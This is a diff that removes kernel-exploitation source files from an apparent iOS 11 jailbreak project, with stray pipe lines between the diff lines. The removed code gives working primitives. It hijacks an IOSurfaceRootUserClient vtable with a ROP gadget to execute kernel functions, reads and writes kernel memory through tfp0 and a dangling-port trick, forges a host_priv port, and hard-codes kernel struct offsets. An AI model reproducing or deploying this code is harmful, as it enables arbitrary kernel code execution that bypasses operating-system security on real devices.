extern boolean_t workqueue_get_pwq_exceeded(void *v, boolean_t *exceeded_total,
|
||||
boolean_t *exceeded_constrained);
|
||||
extern uint32_t workqueue_get_pwq_state_kdp(void *proc);
|
||||
|
||||
#endif /* XNU_KERNEL_PRIVATE */
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif /*_SYS_PROC_INFO_H */
|
||||
@@ -1,7 +0,0 @@
|
||||
#include <mach/mach.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
mach_port_t prepare_user_client(void);
|
||||
void init_kexecute(uint64_t add_x0_x0_0x40_ret);
|
||||
void term_kexecute(void);
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
|
||||
@@ -1,110 +0,0 @@
|
||||
#include <pthread.h>
|
||||
#include "kmem.h"
|
||||
#include "kexecute.h"
|
||||
#include "QiLin.h"
|
||||
#include "offsets.h"
|
||||
#include "iokit.h"
|
||||
|
||||
mach_port_t prepare_user_client() {
|
||||
kern_return_t err;
|
||||
mach_port_t user_client;
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
|
||||
|
||||
if (service == IO_OBJECT_NULL) {
|
||||
printf(" [-] unable to find service\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf(" [-] unable to get user client connection\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
|
||||
printf("got user client: 0x%x\n", user_client);
|
||||
return user_client;
|
||||
}
|
||||
|
||||
// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
|
||||
pthread_mutex_t kexecute_lock;
|
||||
static mach_port_t user_client;
|
||||
static uint64_t IOSurfaceRootUserClient_port;
|
||||
static uint64_t IOSurfaceRootUserClient_addr;
|
||||
static uint64_t fake_vtable;
|
||||
static uint64_t fake_client;
|
||||
const int fake_kalloc_size = 0x1000;
|
||||
|
||||
void init_kexecute(uint64_t add_x0_x0_0x40_ret) {
|
||||
user_client = prepare_user_client();
|
||||
|
||||
// From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
|
||||
IOSurfaceRootUserClient_port = getAddressOfPort(getpid(), user_client); // UserClients are just mach_ports, so we find its address
|
||||
|
||||
IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
|
||||
|
||||
uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
|
||||
|
||||
// The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
|
||||
// Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
|
||||
|
||||
// Create the vtable in the kernel memory, then copy the existing vtable into there
|
||||
fake_vtable = kmem_alloc(fake_kalloc_size);
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
|
||||
}
|
||||
|
||||
// Create the fake user client
|
||||
fake_client = kmem_alloc(fake_kalloc_size);
|
||||
|
||||
for (int i = 0; i < 0x200; i++) {
|
||||
wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
|
||||
}
|
||||
|
||||
// Write our fake vtable into the fake user client
|
||||
wk64(fake_client, fake_vtable);
|
||||
|
||||
// Replace the user client with ours
|
||||
wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);
|
||||
|
||||
// Now the userclient port we have will look into our fake user client rather than the old one
|
||||
|
||||
// Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
|
||||
wk64(fake_vtable+8*0xB7, add_x0_x0_0x40_ret);
|
||||
|
||||
pthread_mutex_init(&kexecute_lock, NULL);
|
||||
}
|
||||
|
||||
void term_kexecute() {
|
||||
wk64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), IOSurfaceRootUserClient_addr);
|
||||
kmem_free(fake_vtable, fake_kalloc_size);
|
||||
kmem_free(fake_client, fake_kalloc_size);
|
||||
}
|
||||
|
||||
uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
|
||||
pthread_mutex_lock(&kexecute_lock);
|
||||
|
||||
// When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
|
||||
// to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
|
||||
// This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
|
||||
// function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
|
||||
// through like normal.
|
||||
|
||||
// Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
|
||||
// We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
|
||||
// (i'm not actually sure if the switch back is necessary but meh)
|
||||
|
||||
uint64_t offx20 = rk64(fake_client+0x40);
|
||||
uint64_t offx28 = rk64(fake_client+0x48);
|
||||
wk64(fake_client+0x40, x0);
|
||||
wk64(fake_client+0x48, addr);
|
||||
uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
|
||||
wk64(fake_client+0x40, offx20);
|
||||
wk64(fake_client+0x48, offx28);
|
||||
|
||||
pthread_mutex_unlock(&kexecute_lock);
|
||||
|
||||
return returnval;
|
||||
}
|
||||
|
||||
@@ -1,269 +0,0 @@
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "kmem.h"
|
||||
#include "kutils.h"
|
||||
|
||||
// the exploit bootstraps the full kernel memory read/write with a fake
|
||||
// task which just allows reading via the bsd_info->pid trick
|
||||
// this first port is kmem_read_port
|
||||
mach_port_t kmem_read_port = MACH_PORT_NULL;
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port) {
|
||||
kmem_read_port = port;
|
||||
}
|
||||
|
||||
mach_port_t tfp0 = MACH_PORT_NULL;
|
||||
void prepare_rwk_via_tfp0(mach_port_t port) {
|
||||
tfp0 = port;
|
||||
}
|
||||
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) {
|
||||
tfp0 = fake_tfp0;
|
||||
}
|
||||
|
||||
int have_kmem_read() {
|
||||
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
int have_kmem_write() {
|
||||
return (tfp0 != MACH_PORT_NULL);
|
||||
}
|
||||
|
||||
void wk32(uint64_t kaddr, uint32_t val) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
err = mach_vm_write(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(vm_offset_t)&val,
|
||||
(mach_msg_type_number_t)sizeof(uint32_t));
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void wk64(uint64_t kaddr, uint64_t val) {
|
||||
uint32_t lower = (uint32_t)(val & 0xffffffff);
|
||||
uint32_t higher = (uint32_t)(val >> 32);
|
||||
wk32(kaddr, lower);
|
||||
wk32(kaddr+4, higher);
|
||||
}
|
||||
|
||||
uint32_t rk32_via_kmem_read_port(uint64_t kaddr) {
|
||||
kern_return_t err;
|
||||
if (kmem_read_port == MACH_PORT_NULL) {
|
||||
printf("kmem_read_port not set, have you called prepare_rk?\n");
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
|
||||
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("error setting context off of dangling port: %x %s\n", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// now do the read:
|
||||
uint32_t val = 0;
|
||||
err = pid_for_task(kmem_read_port, (int*)&val);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("error calling pid_for_task %x %s", err, mach_error_string(err));
|
||||
sleep(10);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32_via_tfp0(uint64_t kaddr) {
|
||||
kern_return_t err;
|
||||
uint32_t val = 0;
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(mach_vm_size_t)sizeof(uint32_t),
|
||||
(mach_vm_address_t)&val,
|
||||
&outsize);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (outsize != sizeof(uint32_t)){
|
||||
printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return val;
|
||||
}
|
||||
|
||||
uint32_t rk32(uint64_t kaddr) {
|
||||
if (tfp0 != MACH_PORT_NULL) {
|
||||
return rk32_via_tfp0(kaddr);
|
||||
}
|
||||
|
||||
if (kmem_read_port != MACH_PORT_NULL) {
|
||||
return rk32_via_kmem_read_port(kaddr);
|
||||
}
|
||||
|
||||
printf("attempt to read kernel memory but no kernel memory read primitives available\n");
|
||||
sleep(3);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t rk64(uint64_t kaddr) {
|
||||
uint64_t lower = rk32(kaddr);
|
||||
uint64_t higher = rk32(kaddr+4);
|
||||
uint64_t full = ((higher<<32) | lower);
|
||||
return full;
|
||||
}
|
||||
|
||||
void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to write to kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
err = mach_vm_write(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(vm_offset_t)buffer,
|
||||
(mach_msg_type_number_t)length);
|
||||
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("tfp0 write failed: %s %x\n", mach_error_string(err), err);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length) {
|
||||
kern_return_t err;
|
||||
mach_vm_size_t outsize = 0;
|
||||
err = mach_vm_read_overwrite(tfp0,
|
||||
(mach_vm_address_t)kaddr,
|
||||
(mach_vm_size_t)length,
|
||||
(mach_vm_address_t)buffer,
|
||||
&outsize);
|
||||
if (err != KERN_SUCCESS){
|
||||
printf("tfp0 read failed %s addr: 0x%llx err:%x port:%x\n", mach_error_string(err), kaddr, err, tfp0);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
if (outsize != length){
|
||||
printf("tfp0 read was short (expected %lx, got %llx\n", sizeof(uint32_t), outsize);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const uint64_t kernel_address_space_base = 0xffff000000000000;
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length) {
|
||||
if (dest >= kernel_address_space_base) {
|
||||
// copy to kernel:
|
||||
wkbuffer(dest, (void*) src, length);
|
||||
} else {
|
||||
// copy from kernel
|
||||
rkbuffer(src, (void*)dest, length);
|
||||
}
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
uint64_t kmem_alloc_wired(uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to allocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_address_t addr = 0;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
|
||||
printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
|
||||
|
||||
err = mach_vm_allocate(tfp0, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
|
||||
printf("allocated address: %llx\n", addr);
|
||||
|
||||
addr += 0x3fff;
|
||||
addr &= ~0x3fffull;
|
||||
|
||||
printf("address to wire: %llx\n", addr);
|
||||
|
||||
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return 0;
|
||||
}
|
||||
return addr;
|
||||
}
|
||||
|
||||
void kmem_free(uint64_t kaddr, uint64_t size) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to deallocate kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
|
||||
kern_return_t err;
|
||||
mach_vm_size_t ksize = round_page_kernel(size);
|
||||
err = mach_vm_deallocate(tfp0, kaddr, ksize);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to deallocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot) {
|
||||
if (tfp0 == MACH_PORT_NULL) {
|
||||
printf("attempt to change protection of kernel memory before any kernel memory write primitives available\n");
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
kern_return_t err;
|
||||
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("unable to change protection of kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
|
||||
sleep(3);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -1,72 +0,0 @@
|
||||
#ifndef kmem_h
|
||||
#define kmem_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
/***** mach_vm.h *****/
|
||||
kern_return_t mach_vm_read(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
vm_offset_t *data,
|
||||
mach_msg_type_number_t *dataCnt);
|
||||
|
||||
kern_return_t mach_vm_write(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
vm_offset_t data,
|
||||
mach_msg_type_number_t dataCnt);
|
||||
|
||||
kern_return_t mach_vm_read_overwrite(
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
mach_vm_address_t data,
|
||||
mach_vm_size_t *outsize);
|
||||
|
||||
kern_return_t mach_vm_allocate(
|
||||
vm_map_t target,
|
||||
mach_vm_address_t *address,
|
||||
mach_vm_size_t size,
|
||||
int flags);
|
||||
|
||||
kern_return_t mach_vm_deallocate (
|
||||
vm_map_t target,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size);
|
||||
|
||||
kern_return_t mach_vm_protect (
|
||||
vm_map_t target_task,
|
||||
mach_vm_address_t address,
|
||||
mach_vm_size_t size,
|
||||
boolean_t set_maximum,
|
||||
vm_prot_t new_protection);
|
||||
|
||||
extern mach_port_t tfp0;
|
||||
|
||||
uint32_t rk32(uint64_t kaddr);
|
||||
uint64_t rk64(uint64_t kaddr);
|
||||
|
||||
void wk32(uint64_t kaddr, uint32_t val);
|
||||
void wk64(uint64_t kaddr, uint64_t val);
|
||||
|
||||
void wkbuffer(uint64_t kaddr, void* buffer, uint32_t length);
|
||||
void rkbuffer(uint64_t kaddr, void* buffer, uint32_t length);
|
||||
|
||||
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
|
||||
|
||||
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
|
||||
|
||||
uint64_t kmem_alloc(uint64_t size);
|
||||
uint64_t kmem_alloc_wired(uint64_t size);
|
||||
void kmem_free(uint64_t kaddr, uint64_t size);
|
||||
|
||||
void prepare_rk_via_kmem_read_port(mach_port_t port);
|
||||
void prepare_rwk_via_tfp0(mach_port_t port);
|
||||
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
|
||||
|
||||
// query whether kmem read or write is present
|
||||
int have_kmem_read(void);
|
||||
int have_kmem_write(void);
|
||||
|
||||
#endif
|
||||
@@ -1,89 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
#include "kutils.h"
|
||||
#include "kmem.h"
|
||||
#include "QiLin.h"
|
||||
#include "offsets.h"
|
||||
#include "find_port.h"
|
||||
|
||||
uint64_t the_realhost;
|
||||
|
||||
uint64_t cached_task_self_addr = 0;
|
||||
uint64_t task_self_addr() {
|
||||
if (cached_task_self_addr == 0) {
|
||||
cached_task_self_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
printf("task self: 0x%llx\n", cached_task_self_addr);
|
||||
}
|
||||
return cached_task_self_addr;
|
||||
}
|
||||
|
||||
uint64_t ipc_space_kernel() {
|
||||
return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
|
||||
}
|
||||
|
||||
uint64_t current_thread() {
|
||||
uint64_t thread_port = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
return rk64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
}
|
||||
|
||||
uint64_t find_kernel_base() {
|
||||
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
the_realhost = realhost;
|
||||
|
||||
uint64_t base = realhost & ~0xfffULL;
|
||||
// walk down to find the magic:
|
||||
for (int i = 0; i < 0x10000; i++) {
|
||||
if (rk32(base) == 0xfeedfacf) {
|
||||
return base;
|
||||
}
|
||||
base -= 0x1000;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
|
||||
|
||||
// build a fake host priv port
|
||||
mach_port_t fake_host_priv() {
|
||||
if (fake_host_priv_port != MACH_PORT_NULL) {
|
||||
return fake_host_priv_port;
|
||||
}
|
||||
// get the address of realhost:
|
||||
uint64_t hostport_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
|
||||
uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
|
||||
|
||||
// allocate a port
|
||||
mach_port_t port = MACH_PORT_NULL;
|
||||
kern_return_t err;
|
||||
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("failed to allocate port\n");
|
||||
return MACH_PORT_NULL;
|
||||
}
|
||||
|
||||
// get a send right
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
// locate the port
|
||||
uint64_t port_addr = (kCFCoreFoundationVersionNumber >= 1450.14) ? getAddressOfPort(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
|
||||
|
||||
// change the type of the port
|
||||
#define IKOT_HOST_PRIV 4
|
||||
#define IO_ACTIVE 0x80000000
|
||||
wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV);
|
||||
|
||||
// change the space of the port
|
||||
wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
|
||||
|
||||
// set the kobject
|
||||
wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
|
||||
|
||||
fake_host_priv_port = port;
|
||||
|
||||
return port;
|
||||
}
|
||||
|
||||
@@ -1,14 +0,0 @@
|
||||
#ifndef kutils_h
|
||||
#define kutils_h
|
||||
|
||||
#include <mach/mach.h>
|
||||
|
||||
uint64_t task_self_addr(void);
|
||||
uint64_t ipc_space_kernel(void);
|
||||
uint64_t find_kernel_base(void);
|
||||
|
||||
uint64_t current_thread(void);
|
||||
|
||||
mach_port_t fake_host_priv(void);
|
||||
|
||||
#endif /* kutils_h */
|
||||
@@ -1,59 +0,0 @@
|
||||
#ifndef libjb_h_included
|
||||
#define libjb_h_included
|
||||
|
||||
/* entitlements *************************************************************/
|
||||
|
||||
int entitle(uint64_t proc, const char *ent, int verbose);
|
||||
|
||||
/* hdik *********************************************************************/
|
||||
|
||||
int attach(const char *path, char buf[], size_t sz);
|
||||
|
||||
/* mount ********************************************************************/
|
||||
|
||||
struct hfs_mount_args {
|
||||
char *fspec; /* block special device to mount */
|
||||
uid_t hfs_uid; /* uid that owns hfs files (standard HFS only) */
|
||||
gid_t hfs_gid; /* gid that owns hfs files (standard HFS only) */
|
||||
mode_t hfs_mask; /* mask to be applied for hfs perms (standard HFS only) */
|
||||
u_int32_t hfs_encoding; /* encoding for this volume (standard HFS only) */
|
||||
struct timezone hfs_timezone; /* user time zone info (standard HFS only) */
|
||||
int flags; /* mounting flags, see below */
|
||||
int journal_tbuffer_size; /* size in bytes of the journal transaction buffer */
|
||||
int journal_flags; /* flags to pass to journal_open/create */
|
||||
int journal_disable; /* don't use journaling (potentially dangerous) */
|
||||
} args;
|
||||
|
||||
/* hashes *******************************************************************/
|
||||
|
||||
struct trust_dsk {
|
||||
unsigned int version;
|
||||
unsigned char uuid[16];
|
||||
unsigned int count;
|
||||
//unsigned char data[];
|
||||
} __attribute__((packed));
|
||||
|
||||
struct trust_mem {
|
||||
uint64_t next; //struct trust_mem *next;
|
||||
unsigned char uuid[16];
|
||||
unsigned int count;
|
||||
//unsigned char data[];
|
||||
} __attribute__((packed));
|
||||
|
||||
struct hash_entry_t {
|
||||
uint16_t num;
|
||||
uint16_t start;
|
||||
} __attribute__((packed));
|
||||
|
||||
typedef uint8_t hash_t[20];
|
||||
|
||||
extern hash_t *allhash;
|
||||
extern unsigned numhash;
|
||||
extern struct hash_entry_t *amfitab;
|
||||
extern hash_t *allkern;
|
||||
|
||||
/* can be called multiple times. kernel read func & amfi/top trust chain block are optional */
|
||||
int grab_hashes(const char *root, size_t (*kread)(uint64_t, void *, size_t), uint64_t amfi, uint64_t top);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -1,55 +0,0 @@
|
||||
#ifndef offsets_h
|
||||
#define offsets_h
|
||||
|
||||
enum kstruct_offset {
|
||||
/* struct task */
|
||||
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
KSTRUCT_OFFSET_TASK_NEXT,
|
||||
KSTRUCT_OFFSET_TASK_PREV,
|
||||
KSTRUCT_OFFSET_TASK_ITK_SPACE,
|
||||
KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
|
||||
/* struct ipc_port */
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
/* struct proc */
|
||||
KSTRUCT_OFFSET_PROC_PID,
|
||||
KSTRUCT_OFFSET_PROC_P_FD,
|
||||
|
||||
/* struct filedesc */
|
||||
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
|
||||
|
||||
/* struct fileproc */
|
||||
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
|
||||
|
||||
/* struct fileglob */
|
||||
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
|
||||
|
||||
/* struct socket */
|
||||
KSTRUCT_OFFSET_SOCKET_SO_PCB,
|
||||
|
||||
/* struct pipe */
|
||||
KSTRUCT_OFFSET_PIPE_BUFFER,
|
||||
|
||||
/* struct ipc_space */
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
|
||||
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
|
||||
|
||||
KFREE_ADDR_OFFSET,
|
||||
};
|
||||
|
||||
int koffset(enum kstruct_offset offset);
|
||||
void offsets_init(void);
|
||||
|
||||
#endif
|
||||
@@ -1,111 +0,0 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#include "offsets.h"
|
||||
|
||||
int* offsets = NULL;
|
||||
|
||||
int kstruct_offsets_11_0[] = {
|
||||
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
|
||||
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
|
||||
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
|
||||
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
|
||||
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
|
||||
0x30, // KSTRUCT_OFFSET_TASK_PREV,
|
||||
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
|
||||
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
|
||||
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
|
||||
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
|
||||
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
|
||||
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
|
||||
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
|
||||
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
|
||||
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
|
||||
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PROC_PID,
|
||||
0x108, // KSTRUCT_OFFSET_PROC_P_FD
|
||||
|
||||
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
|
||||
|
||||
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
|
||||
|
||||
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
|
||||
|
||||
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
|
||||
|
||||
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
|
||||
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
|
||||
|
||||
0x6c, // KFREE_ADDR_OFFSET
|
||||
};
|
||||
